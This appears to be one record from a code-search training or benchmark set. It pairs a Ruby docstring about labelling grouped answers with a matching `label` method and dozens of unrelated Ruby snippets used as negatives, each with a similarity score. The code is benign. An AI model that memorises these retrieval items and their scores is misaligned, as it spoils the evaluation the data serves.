"def add_label(label)\n @api.do_request(\"PUT\", label.get_base_api_path() + \"/messages/\" + get('id'));\n @label_ids_set[label.id] = true\n end",
"def set_label_set\n @label_set = LabelSet.find(params[:id])\n end",
"def labels() = @labels ||= labels_hash",
"def label=(value)\n @label = value\n end",
"def set_power_outlet_group\n @power_outlet_group = PowerOutletGroup.find(params[:id])\n end",
"def set_ClothesMachineUse(value)\n set_input(\"ClothesMachineUse\", value)\n end",
"def add_labels(labels)\n GITHUB.post(\"#{github_pr_url}/labels\", labels)\n end",
"def method_missing(m, label = nil)\n name = m.to_s\n if ct = @contexts.last\n @labels[name] = if label\n label = if label.respond_to? :to_label\n label.to_label self\n else\n Label.new label.to_i\n end\n @dummies.delete_if do |n, lbl, *cts|\n if n == name and cts.include? ct.object_id\n lbl.reinitialize label\n true\n else\n false\n end\n end\n if ct.has_key? name\n ct[name].reinitialize label\n label.name = name\n else\n label.name = name\n ct[name] = label\n end\n if @autoexport\n export ct[name]\n else\n ct[name]\n end\n else\n ct[name]||= Label.dummy(name)\n end\n end\n end",
"def assign_label\n session[:label] = params[:label] if params[:label]\n end",
"def jump(loc)\n @ip = loc\n end",
"def jump(loc)\n @ip = loc\n end",
"def jump(loc)\n @ip = loc\n end",
"def set_data( label, data )\n self.data[label] = data\n end",
"def label(label)\n response = @mailer.label(label)\n @current_folder = response.split[0]\n return response\n end",
"def setWind _args\n \"setWind _args;\" \n end",
"def put_label name\n if @labels.key? name\n raise Errors::LabelAlreadyDefined, \"Label `#{name}` is already defined\"\n end\n @labels[name] = nil\n @instructions << Label.new(name)\n self\n end",
"def discover\n @myself.send_broadcast Net::Packet.helo\n end",
"def calls_sitta_set section, name, block\n \n calls_sitta_init section\n\n instance_variable_set(\"@#{section}_calls\",\n instance_variable_get(\"@#{section}_calls\") + [[name, block]]\n )\n end",
"def switch(*names)\n names = [names].flatten\n verify_unused(names,flags,switches,\"in global options\")\n switch = Switch.new(names,@@next_desc,@@next_long_desc)\n switches[switch.name] = switch\n clear_nexts\n end",
"def update!(**args)\n @label_id = args[:label_id] if args.key?(:label_id)\n @label_name = args[:label_name] if args.key?(:label_name)\n @message_keys = args[:message_keys] if args.key?(:message_keys)\n @sync_id = args[:sync_id] if args.key?(:sync_id)\n end",
"def update!(**args)\n @label_id = args[:label_id] if args.key?(:label_id)\n @label_name = args[:label_name] if args.key?(:label_name)\n @message_keys = args[:message_keys] if args.key?(:message_keys)\n @sync_id = args[:sync_id] if args.key?(:sync_id)\n end",
"def %(name)\n self.label = name\n self\n end",
"def initialize(name)\n @instr_type = LABEL_HOME\n @label_name = name \n @label_addr = UNINITIALIZED\n end",
"def label=(val)\n @label << val\n end",
"def set(values, labels = {})\n values.each do |name, value|\n metrics[name][labels].set(value)\n end\n end",
"def update!(**args)\n @labels = args[:labels] if args.key?(:labels)\n end",
"def update!(**args)\n @labels = args[:labels] if args.key?(:labels)\n end",
"def update!(**args)\n @labels = args[:labels] if args.key?(:labels)\n end",
"def labels= new_labels\n raise ArgumentError, \"Value must be a Hash\" if new_labels.nil?\n update_grpc = Google::Cloud::PubSub::V1::Topic.new name: name, labels: new_labels\n @grpc = service.update_topic update_grpc, :labels\n @resource_name = nil\n end",
"def test_driver_drive_many_choices\n\t\tloc1 = Location::new(\"Location\", [\"Hogwarts\",\"Narnia\",\"Middle Earth\"])\n\t\tdriv = Driver::new(1, loc1)\n\t\tassert_includes driv.get_place.get_neighbors, driv.drive\n\tend",
"def goto\n @world.here << params\n @world.attr[@id] = params\n Mud.new(@here.id).here.delete(@id)\n @here = Mud.new(params)\n @here.here << @id\n here\n prompt\n end",
"def label=(label)\n write_attr :label, label\n end",
"def test_driver_setLocation_museum\n\t\td = Driver::new(\"Driver 1\",1)\n\t\td.setLocation 1 #cathedral to museum\n\t\tassert_equal d.getLocation, 3\n\tend",
"def update!(**args)\n @multi_label = args[:multi_label] if args.key?(:multi_label)\n end",
"def update!(**args)\n @multi_label = args[:multi_label] if args.key?(:multi_label)\n end",
"def setSimulWeatherLayers _args\n \"setSimulWeatherLayers _args;\" \n end",
"def set_flowcontrol(name, direction, opts = {})\n commands = command_builder(\"flowcontrol #{direction}\", opts)\n configure_interface(name, commands)\n end",
"def send message, targets\n end",
"def plotWxt(gp, sendcmd, ofname, xlabel, ylabel)\n [\n \"set output '#{ofname}'\",\n \"set xlabel '#{xlabel}'\",\n \"set ylabel '#{ylabel}'\",\n #\"splot '#{fname}' #{opt} title '#{nline}'\" \n #\"plot '#{fname}' #{opt} title '#{nline}'\"\n \"plot #{sendcmd}\",\n \"pause 1.2\",\n ].each{|cmd| gp.puts(cmd) }\nend",
"def test_driver_setLocation_hillman\n\t\td = Driver::new(\"Driver 1\",0)\n\t\td.setLocation 1 #museum to hillman\n\t\tassert_equal d.getLocation, 2\n\tend",
"def set_location\n @location = \"Minneapolis, MN\"\n end",
"def print_labels\n list = @data.display_list\n # select addresses that need labels\n label_data = list.select {|address_entry| address_entry.make_label }\n\n values = { \n 'labels' => label_data.map {|address| address.add_to_hash({}) }\n }\n report_path = print_report(values, Reports::SHIPPING_LABELS)\n end",
"def label (hash)\n @labeled_answers.merge! hash\n end",
"def set_location(latitude, longitude, altitude, speed: nil, satellites: nil)\n if speed.nil? && satellites.nil?\n self.location = ::Appium::Location.new(Float(latitude), Float(longitude), Float(altitude))\n else\n loc = ::Appium::Location.new(Float(latitude), Float(longitude), Float(altitude))\n\n speed = Float(speed) unless speed.nil?\n satellites = Integer(satellites) unless satellites.nil?\n\n @bridge.set_location loc.latitude, loc.longitude, loc.altitude, speed: speed, satellites: satellites\n end\n end",
"def connect_to_machine(machine_spec, machine_options)\n Chef::Log.debug('Connect to machine!')\n machine_for(machine_spec,machine_options)\n end",
"def set_label label\n # added case for user just using a string\n case label\n when String\n # what if no form at this point\n @label_unattached = true unless @form\n label = Label.new @form, {:text => label}\n end\n @label = label\n # in the case of app it won't be set yet FIXME\n # So app sets label to 0 and t his won't trigger\n # can this be delayed to when paint happens XXX\n if @row\n position_label\n else\n @label_unplaced = true\n end\n label\n end"
] |
[
"0.53286314",
"0.52346635",
"0.49682522",
"0.4943947",
"0.48821852",
"0.483078",
"0.48232606",
"0.48162913",
"0.47273862",
"0.46414503",
"0.46132672",
"0.46070933",
"0.46007177",
"0.45828426",
"0.45732787",
"0.45669907",
"0.45579606",
"0.45431572",
"0.45392242",
"0.4518311",
"0.45114356",
"0.44877017",
"0.44877017",
"0.44874567",
"0.44735426",
"0.44507656",
"0.44285327",
"0.44190642",
"0.44165006",
"0.44094265",
"0.43954659",
"0.439036",
"0.43635166",
"0.43621895",
"0.43494415",
"0.43468535",
"0.43444645",
"0.43319216",
"0.4326478",
"0.4326478",
"0.43237287",
"0.43226627",
"0.4321968",
"0.43190685",
"0.43040362",
"0.4300188",
"0.42995042",
"0.42601034",
"0.4248157",
"0.4248157",
"0.42314714",
"0.42310673",
"0.42292085",
"0.42194015",
"0.4217399",
"0.4217399",
"0.42092264",
"0.4203328",
"0.41890526",
"0.4183725",
"0.41829535",
"0.41738033",
"0.41692054",
"0.41643605",
"0.41618752",
"0.41618752",
"0.41618752",
"0.41596648",
"0.41583526",
"0.41414994",
"0.4126284",
"0.41258937",
"0.41158107",
"0.41080624",
"0.4107092",
"0.4107092",
"0.41057703",
"0.41000107",
"0.40998834",
"0.40997875",
"0.409909",
"0.409909",
"0.409909",
"0.409803",
"0.40957153",
"0.40895283",
"0.40892962",
"0.4088283",
"0.40873054",
"0.40873054",
"0.4079603",
"0.40771908",
"0.40770915",
"0.407612",
"0.40690118",
"0.40679225",
"0.40656495",
"0.40607068",
"0.40597546",
"0.40580577",
"0.4057471"
] |
0.0
|
-1
|
Specifies the answers to be referred to by the given labels. These labels must match the labels given to Machinesend. def process_answers ary1 = [] ary2 = [] answers.each do |a| ... end label group1: ary1 label group2: ary2 end Use this method inside a process block or inside a Machineprocess_answers method definition.
|
def label (hash)
@labeled_answers.merge! hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_labeling\n process_adding_labels\n process_removing_labels\n end",
"def parse_labels\n @labels.split.each do |lbl|\n vals = lbl.split(':')\n v = vals.first\n case v\n when \"form\"\n handle_form_label vals\n when \"instrument\"\n handle_instrument_label vals\n when \"references\"\n handle_references_label vals\n else\n if valid_setters.include?(v.to_sym)\n self.send(\"#{v}=\", vals.last)\n end\n end\n end\n end",
"def multi(*labels, &block)\n @multi = true\n @add = false\n cloaker(&block).bind(self).call\n @add = true\n if @multi\n @labels.concat(labels)\n @match = true\n end\n return @message.labels\n end",
"def answers=(ans)\n @answers = ans.map { |a| Answer.new(a) }\n end",
"def perform(answer_1)\n answers_to_compare = AnswerQuery.new.answers_to_compare(answer_1)\n\n answers_to_compare.each do |answer_2|\n similarity = SimilarityMachine::AnswersCalculator.new(\n answer_1,\n answer_2\n ).calculate_similarity\n\n AnswerConnection.create!(answer_1: answer_1, answer_2: answer_2,\n similarity: similarity)\n end\n end",
"def answers\n [answer_1, answer_2]\n end",
"def labels() = @labels ||= labels_hash",
"def process_reverse_labeling\n removed = labels_to_remove\n added = labels_to_add\n\n @labels_to_remove = added\n @labels_to_add = removed\n\n process_labeling\n end",
"def find_labels\n @input.each_with_index do |line, i|\n if line.label?(i)\n label = line.split(\":\")[0]\n if !@labels.include?(label)\n @labels[label] = [*@instructions.each_with_index].search{|x, _| x >= i}.last\n else\n Error::message(7, i+1, line) \n end\n end\n end\n end",
"def printAnswersOnScreen()\n $lblAnswerA['text'] = $arrAnswerA[$intQuestionOnScreen - 1]\n $lblAnswerB['text'] = $arrAnswerB[$intQuestionOnScreen - 1]\n $lblAnswerC['text'] = $arrAnswerC[$intQuestionOnScreen - 1]\n $lblAnswerD['text'] = $arrAnswerD[$intQuestionOnScreen - 1]\nend",
"def set_labels\n if labels_as_list.present?\n self.labels = labels_as_list.split(\"\\n\").map(&:strip).reject(&:empty?)\n end\n end",
"def parse_label\n if (@instruction.is_a? Rips::Instructions::Beqz) ||\n (@instruction.is_a? Rips::Instructions::Bnez) ||\n (@instruction.is_a? Rips::Instructions::J) ||\n (@instruction.is_a? Rips::Instructions::Jal)\n\n @cmd[:arguments] = [@labels[@cmd[:arguments].first].to_s]\n end\n end",
"def process_answers\n if self.answers.present?\n fields.each do |field|\n # remove nil values\n if field.field_type_checkbox?\n self.answers[field.id.to_s] = if self.answers[field.id.to_s].is_a?(String)\n JSON.parse(self.answers[field.id.to_s]).reject(&:blank?).uniq\n elsif self.answers[field.id.to_s].is_a?(Array)\n self.answers[field.id.to_s].reject(&:blank?).uniq\n end\n\n # Process to store attachment file\n elsif field.field_type_file?\n data = self.answers[field.id.to_s]\n if data.present?\n uploader = AttachmentUploader.new\n uploader.question_id = field.id.to_s\n uploader.form_id = form_id\n uploader.store!(data)\n self.answers[field.id.to_s] = uploader.url\n end\n end\n end\n end\n end",
"def answers=(value)\n @answers = value\n end",
"def for_labels(*the_labels)\n raise OpenForLabelStatement unless working_labels.empty?\n self.working_labels += the_labels\n self\n end",
"def labels=(value)\n @labels = value\n end",
"def labels=(value)\n @labels = value\n end",
"def process_data(df, labels)\n case labels.length\n when 1\n label = labels[0]\n value(label)\n @xrange = df[label].to_a.uniq\n @yrange = [0, df[label].to_a.length]\n when 2\n label_x = labels[0]\n label_y = labels[1]\n x(label_x)\n y(label_y)\n @xrange = df.column(label_x).to_a\n @yrange = [(df[label_y].to_a.min < 0 ? df[label_y].to_a.min : 0), df[label_y].to_a.max]\n end\n end",
"def answers\n @answers ||= {}\n end",
"def set_labels(hash, labels)\n labels = [labels] unless labels.is_a? Array\n @server.call('d.set_custom1', hash, labels.join(', '))\n self.torrents[hash].labels = labels\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def generate_answers\n masterless = @options[:masterless]\n return super if masterless\n\n dashboard = only_host_with_role(@hosts, 'dashboard')\n database = only_host_with_role(@hosts, 'database')\n master = only_host_with_role(@hosts, 'master')\n\n the_answers = super\n if dashboard != master\n # in 3.2, dashboard needs the master certname\n the_answers[dashboard.name][:q_puppetmaster_certname] = master.to_s\n end\n\n # do we want to check for updates?\n pe_check_for_updates = answer_for(@options, :q_pe_check_for_updates, 'n')\n the_answers[dashboard.name][:q_pe_check_for_updates] = pe_check_for_updates\n the_answers[master.name][:q_pe_check_for_updates] = pe_check_for_updates\n\n if @options[:type] == :upgrade && dashboard != database\n # In a split configuration, there is no way for the upgrader\n # to know how much disk space is available for the database\n # migration. We tell it to continue on, because we're\n # awesome.\n the_answers[dashboard.name][:q_upgrade_with_unknown_disk_space] = 'y'\n end\n @hosts.each do |h|\n h[:answers] = the_answers[h.name]\n end\n return the_answers\n end",
"def answers\n @answers ||= generate_answers\n end",
"def process_adding_labels\n label_issue(labels_to_add) unless labels_to_add.empty?\n end",
"def labels(arg = nil)\n if arg.nil?\n @labels\n else\n @labels += Array(arg).compact.map(&:to_s)\n end\n end",
"def evaluate_answers\n self.answers.each do |a|\n q = a.question\n a.correct = (a.answer_mask == q.answer_mask)\n a.save(:validate=>false)\n end\n end",
"def each_label(&block)\n labels.each do |l|\n block.call((k = l[:key]), l[:label], @data[k])\n end\n end",
"def answers\n [].tap do |a|\n a << teaching_maths_or_physics\n a << current_school\n a << initial_teacher_training_subject\n a << initial_teacher_training_subject_specialism if eligibility.initial_teacher_training_subject_specialism.present?\n a << has_uk_maths_or_physics_degree if eligibility.has_uk_maths_or_physics_degree.present?\n a << qts_award_year\n a << employed_as_supply_teacher\n a << has_entire_term_contract if eligibility.employed_as_supply_teacher?\n a << employed_directly if eligibility.employed_as_supply_teacher?\n a << disciplinary_action\n a << formal_performance_action\n end\n end",
"def ask_for_labels domain, question, default_labels, forbidden_labels=[]\n default_labels = Set.new default_labels\n default_labels -= @context.labels.reserved_labels\n default = default_labels.sort.map { |x| x + \" \" }.join\n\n forbidden_labels = Set.new forbidden_labels\n autocomplete_labels = (@context.labels.user_mutable_labels - forbidden_labels).sort\n answer = ask_many_with_completions domain, question, autocomplete_labels, default\n\n return unless answer\n\n user_labels = Set.new answer.split(/\\s+/)\n\n user_labels.each do |l|\n if @context.labels.reserved_labels.include?(l)\n @context.screen.minibuf.flash \"'#{l}' is a reserved label!\"\n return\n elsif forbidden_labels.include?(l)\n @context.screen.minibuf.flash \"'#{l}' cannot be applied in this context!\"\n return\n end\n end\n\n user_labels\n end",
"def add_labels(labels)\n labels.map! { |label| Hubstats::Label.first_or_create(label) }\n self.labels = labels\n end",
"def labels\n @labels ||= parser.labels\n end",
"def set(values, labels = {})\n values.each do |name, value|\n metrics[name][labels].set(value)\n end\n end",
"def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end",
"def response=(values)\n @answers ||= []\n @mark_for_destroy ||= []\n \n # go through existing answers (in reverse order, as we delete)\n (@answers.length - 1).downto(0) do |index|\n # reject: skip over responses that are unchanged\n unless values.reject! {|value| value == @answers[index].value}\n # remove any answers that don't match the posted values\n @mark_for_destroy << @answers[index] # destroy from database later \n @answers.delete_at(index)\n end\n end\n \n # insert any new answers\n for value in values\n if @mark_for_destroy.empty?\n answer = Answer.new(:question_id => self.id)\n else\n # re-use marked answers (an update vs. a delete+insert)\n answer = @mark_for_destroy.pop\n end\n answer.set(value)\n @answers << answer\n end\n end",
"def labels(labelItem)\n @labels = labelItem\n end",
"def update!(**args)\n @multi_label = args[:multi_label] if args.key?(:multi_label)\n end",
"def update!(**args)\n @multi_label = args[:multi_label] if args.key?(:multi_label)\n end",
"def method_missing(method, *args, &block)\n super if !respond_to?(method)\n parts = split_args(args)\n queries = parts.first\n results = Array(@message.send(method))\n count = match_args(results, queries)\n if count.size == queries.size\n @labels ||= []\n @multi &= true\n @labels.concat(parts.last.compact) if @add\n else\n @multi = false\n end\n end",
"def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end",
"def update!(**args)\n @labels = args[:labels] if args.key?(:labels)\n end",
"def update!(**args)\n @labels = args[:labels] if args.key?(:labels)\n end",
"def update!(**args)\n @labels = args[:labels] if args.key?(:labels)\n end",
"def questions_and_answers\n @questions_and_answers ||= QuestionsAndAnswers.new(group.custom_questions.required, custom_answers)\n end",
"def as_answerlets(options)\n ((options[:kind] == \"original\" ? food_groups : food_groups_update) || {}).map do |ing, nutrients|\n Answerlet.new(match_answer: self, ingredient: ing, nutrients: nutrients, kind: options[:kind],\n modified: options[:kind] == \"update\" && nutrients.sort != food_groups[ing].sort)\n end\n end",
"def extract(answer_groups)\n @question_group.questions.collect do |question|\n results =\n case question\n when Rapidfire::Questions::Select, Rapidfire::Questions::Radio,\n Rapidfire::Questions::Checkbox\n answer_groups_answers = get_answer_groups_answers(answer_groups, question)\n all_answers = []\n answer_groups_answers.each do |text|\n if text.is_a?(FalseClass) || text.is_a?(TrueClass)\n all_answers << text\n else\n all_answers << text.split(',') unless text.nil?\n end\n end\n answers = all_answers.flatten\n\n answers.inject(Hash.new(0)) { |total, e| total[e] += 1; total } unless answers.nil?\n\n when Rapidfire::Questions::Short, Rapidfire::Questions::Date,\n Rapidfire::Questions::Long, Rapidfire::Questions::Numeric\n get_answer_groups_answers(answer_groups, question)\n end\n\n QuestionResult.new(question: question, results: results)\n end\n end",
"def language_interpreter\n # Do not show this block in CYA if the user didn't yet reach this step\n # (we know because the array will be `nil` in that case).\n return [] if arrangement.language_options.nil?\n\n AnswersGroup.new(\n :language_interpreter,\n [\n Answer.new(\n :language_interpreter,\n arrangement.language_options.include?(LanguageHelp::LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:language_interpreter_details, arrangement.language_interpreter_details),\n Answer.new(\n :sign_language_interpreter,\n arrangement.language_options.include?(LanguageHelp::SIGN_LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:sign_language_interpreter_details, arrangement.sign_language_interpreter_details),\n Answer.new(\n :welsh_language,\n arrangement.language_options.include?(LanguageHelp::WELSH_LANGUAGE.to_s).to_s\n ),\n FreeTextAnswer.new(:welsh_language_details, arrangement.welsh_language_details),\n ],\n change_path: edit_steps_attending_court_language_path\n )\n end",
"def answers\n @answers ||= Factory.load_answers_at_machine(@location, @load_scores)\n end",
"def labels; end",
"def update!(**args)\n @labels = args[:labels] unless args[:labels].nil?\n end",
"def load_mult response_set, opts={}\n rs = response_set\n # Instantiate QuestionStat\n qstat = QuestionStat.new(rs, opts)\n if opts[:group_checkbox_responses] == true\n data = []\n error_labels = {}\n data_labels = {}\n rs.data.each do |vals|\n codes = vals.join('/')\n if rs.data_labels.include? vals.first\n data_labels[codes] = vals.map{|code|rs.data_labels[code]}\n else\n error_labels[codes] = vals.map{|code|rs.error_labels[code]}\n end\n data.push codes\n end\n else\n error_labels = rs.error_labels\n data_labels = rs.data_labels\n data = rs.data\n end\n\n # Run calculation\n qstat.categorical_stats = CategoricalStatistics.generate_stats rs.question,\n rs.qtype, data, data_labels, error_labels\n return qstat\n end",
"def add_labels(hash, labels)\n self.torrents[hash].add_labels(labels)\n @server.call('d.set_custom1', hash, self.torrents[hash].labels_str)\n end",
"def answers(ids=nil, **params)\n resource_request(Answer, ids, 'answers', params)\n end",
"def labels\n multi_value? ? label_ids.collect{|l_id| Label.find(l_id) } : []\n end",
"def initialize(label)\n\n # pass a new engine with name :knowledge_base_engine to the super class\n super KnowledgeBase::engine label\n\n # instantiate variables\n @engine_has_matched = false\n @yml_locations = nil\n\n @question_rules = Array.new\n @result_rules = Array.new\n @fact_rules = Array.new\n @triggered_rules = Array.new\n @start_rules = Array.new\n @rules = {}\n\n end",
"def parse_answer(data, scope, extra_data={})\n if data.is_a?(Numeric) or data.is_a?(TrueClass) or data.is_a?(FalseClass)\n return data\n elsif data.is_a?(String)\n return parse_string(data, scope, extra_data)\n elsif data.is_a?(Hash)\n answer = {}\n data.each_pair do |key, val|\n answer[key] = parse_answer(val, scope, extra_data)\n end\n\n return answer\n elsif data.is_a?(Array)\n answer = []\n data.each do |item|\n answer << parse_answer(item, scope, extra_data)\n end\n\n return answer\n end\n end",
"def add_labels(*labels)\n labels.inject(query_as(:n)) do |query, label|\n query.set(\"n:`#{label}`\")\n end.exec\n @_persisted_obj.labels.concat(labels)\n @_persisted_obj.labels.uniq!\n end",
"def update!(**args)\n @match_target_labels = args[:match_target_labels] if args.key?(:match_target_labels)\n @values = args[:values] if args.key?(:values)\n end",
"def all_labels # :yields: Array of Strings\n # includes plurals etc.\n self.labels.inject([]){|sum, l| sum + l.all_forms}.sort\n end",
"def post_process(answer)\n answer\n end",
"def update!(**args)\n @label_ids = args[:label_ids] unless args[:label_ids].nil?\n @message = args[:message] unless args[:message].nil?\n end",
"def update!(**args)\n @label_ids = args[:label_ids] unless args[:label_ids].nil?\n @message = args[:message] unless args[:message].nil?\n end",
"def labels(label = nil)\n @labels ||= Hash.new{|h,k| h[k] = PolicyHelper.new }\n label.nil? ? @labels : @labels[label]\n end",
"def method_missing(m, label = nil)\n name = m.to_s\n if ct = @contexts.last\n @labels[name] = if label\n label = if label.respond_to? :to_label\n label.to_label self\n else\n Label.new label.to_i\n end\n @dummies.delete_if do |n, lbl, *cts|\n if n == name and cts.include? ct.object_id\n lbl.reinitialize label\n true\n else\n false\n end\n end\n if ct.has_key? name\n ct[name].reinitialize label\n label.name = name\n else\n label.name = name\n ct[name] = label\n end\n if @autoexport\n export ct[name]\n else\n ct[name]\n end\n else\n ct[name]||= Label.dummy(name)\n end\n end\n end",
"def update_from_form_fields params\n @answer_names = params.delete(:answer_names)\n @answer_abbrs = params.delete(:answer_abbrs)\n puts \"@answer_abbrs: #{@answer_abbrs.inspect}\"\n begin\n params[:answers] = Poll.get_answers_from_form_fields( @answer_names.dup, @answer_abbrs.dup )\n puts \"@answer_abbrs: #{@answer_abbrs.inspect}\"\n rescue AnswerValidationError\n errors.add( :answer, $!.to_s )\n return false\n end\n update_attributes(params)\n end",
"def generate_answers\n raise \"This should be handled by subclasses!\"\n end",
"def answer\n\t\tget_data\n\n\t\t@summary = @data[$randId]['news_summary']\n\t\t@c_answer = @data[$randId]['c_answer']\n\t\t@alt1 = @data[$randId]['alt1']\n\t\t@alt2 = @data[$randId]['alt2']\n\t\t@alt3 = @data[$randId]['alt3']\n\t\t@cat = @data[$randId]['category_id']\n\t\t@ans = params[:param1]\n\t\t@id = params[:param2]\n\t\t@url = @data[$randId]['news_url']\n\t\t@hex = @data[$randId]['category_hex_code']\n\n\t\tget_descriptions(@url)\n\n\t\t@title = @desc_data['title']\n\t\t@summary = @desc_data['desc']\n\t\t@image = @desc_data['image']\n\n\t\ttagstring = @data[$randId]['tag']\n\t\tunless tagstring.nil? || tagstring.empty?\n\t\t\t@tags = tagstring.split(\",\")\n\t\t\t@taglength = @tags.length\n\t\tend\n\tend",
"def initialize_or_create_labels(labels)\n @post.labels = []\n labels.split(\",\").map { |i| i.strip }.uniq.each do |name|\n label = Label.find_or_initialize_by(name: name.strip)\n label.save!\n @post.labels << label\n end\n end",
"def update_multiple_answer_questions params\n #clear questions first\n self.pal_additional_areas.clear\n self.pal_participation_levels.clear\n self.help_additional_areas.clear\n self.professions.clear\n self.search_plan_types.clear\n self.npln_participation_levels.clear\n self.referral_fees.clear\n self.plan_types.clear\n self.claim_types.clear\n self.sponsor_types.clear\n self.npln_additional_areas.clear\n self.jurisdictions.clear\n self.geo_areas.clear\n\n self.pal_additional_areas << params[:pal_additional_areas].collect{|p| PalAdditionalArea[p]} if params[:pal_additional_areas]\n self.pal_participation_levels << params[:pal_participation_levels].collect{|p| PalParticipationLevel[p]} if params[:pal_participation_levels]\n self.help_additional_areas << params[:help_additional_areas].collect{|p| HelpAdditionalArea[p]} if params[:help_additional_areas]\n self.professions << Profession[params[:profession]] if (params[:profession] and !params[:profession].blank?)\n self.search_plan_types << params[:search_plan_types].collect{|p| SearchPlanType[p]} if params[:serach_plan_types]\n self.npln_participation_levels << params[:npln_participation_levels].collect{|p| NplnParticipationLevel[p]} if params[:npln_participation_levels]\n self.referral_fees << params[:referral_fees].collect{|p| ReferralFee[p]} if params[:referral_fees]\n self.plan_types << params[:plan_types].collect{|p| PlanType[p]} if params[:plan_types]\n self.claim_types << params[:claim_types].collect{|p| ClaimType[p]} if params[:claim_types]\n self.sponsor_types << params[:sponsor_types].collect{|p| SponsorType[p]} if params[:sponsor_types]\n self.npln_additional_areas << params[:npln_additional_areas].collect{|p| NplnAdditionalArea[p]} if params[:npln_additional_areas]\n self.jurisdictions << params[:jurisdictions].collect{|p| Jurisdiction[p]} if params[:jurisdictions]\n self.geo_areas << params[:geo_areas].collect{|p| GeoArea[p]} if params[:geo_areas]\n end",
"def labels\n [label()]\n end",
"def answer_question(i, answer)\n @answers[i] = answer\n end",
"def add_many_labels(text, options = {})\n if !( options[:x] || options[:y] )\n options[:position] ||= 0\n if options[:count]\n options[:count].times do\n add_label(text, options)\n options[:position] += 1\n end\n else\n raise 'Count required'\n end\n else\n raise \"Can't use X,Y with add_many_labels, you must use position\"\n end\n end",
"def update_task_answers(options_diff)\n tasks = get_teamwide_tasks_with_answers\n responses = Dynamic.where(annotation_type: \"task_response_#{self.task_type}\",annotated_type: \"Task\", annotated_id: tasks.map(&:id))\n conditions = {\n annotation_id: responses.map(&:id),\n annotation_type: \"task_response_#{self.task_type}\",\n field_name: \"response_#{self.task_type}\",\n }\n fields = DynamicAnnotation::Field.where(conditions)\n method = \"update_task_answers_#{self.task_type}\"\n deleted, updated, response_ids = self.send(method, fields, options_diff)\n Dynamic.where(id: deleted).destroy_all unless deleted.blank?\n unless updated.blank?\n # Update PG\n DynamicAnnotation::Field.import(updated, on_duplicate_key_update: [:value], recursive: false, validate: false)\n Dynamic.where(id: response_ids).update_all(updated_at: Time.now)\n # Update ES\n keys = %w(id team_task_id value field_type fieldset date_value numeric_value)\n # Add mapping for tasks and it's ProjectMedia\n t_pm = {}\n Task.where(id: responses.map(&:annotated_id)).find_each{ |r| t_pm[r.id] = r.annotated_id }\n Dynamic.where(id: response_ids).find_each do |response|\n response.add_update_nested_obj({op: 'update', pm_id: t_pm[response.annotated_id.to_i], nested_key: 'task_responses', keys: keys})\n end\n end\n end",
"def create\n @response = Response.new(params[:response])\n @response.ip_address = request.remote_ip\n @response.survey_id = @survey.id\n @response.user_id = current_user\n \n for param in params do\n if param[0] =~ /^question_id_/\n # handle all question parameters\n # $' represents the value of the question_id\n if param[1].is_a? Hash\n # Valid keys include country, option, year, month, day and numeric option_id\n if param[1].has_key? \"year\" && \"month\" && \"day\"\n # concat year, month and day into one answer\n @response.answers.build(:question_id => $', :answer => Date.new(param[1][\"year\"].to_i, param[1][\"month\"].to_i, param[1][\"day\"].to_i) )\n elsif param[1].has_key? \"option\"\n # look up option id for radio & select questions and build answer\n option_id = Option.find_by_label_and_question_id(param[1][\"option\"], $').id\n @response.answers.build(:question_id => $', :answer => param[1][\"option\"], :option_id => option_id)\n elsif param[1].has_key? \"country\"\n # build country answer\n @response.answers.build(:question_id => $', :answer => param[1][\"country\"])\n else\n # build checkbox and likert answers\n param[1].each do |key, value|\n @response.answers.build(:question_id => $', :answer => value, :option_id => key) unless value == \"0\"\n end\n end\n else\n # build answer without option ie text, textarea\n @response.answers.build(:question_id => $', :answer => param[1] ) #unless param[1].blank?\n end \n end\n if param[0] == 'token'\n @response.survey.update_invitation(param[1])\n end\n end\n\n respond_to do |format|\n if @response.save!\n flash[:notice] = 'Response was successfully created.'\n format.html { redirect_to([@survey, @response]) }\n format.xml { render :xml => @response, :status => :created, :location => @response }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @response.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordInvalid => invalid\n render :action => \"new\"\n end",
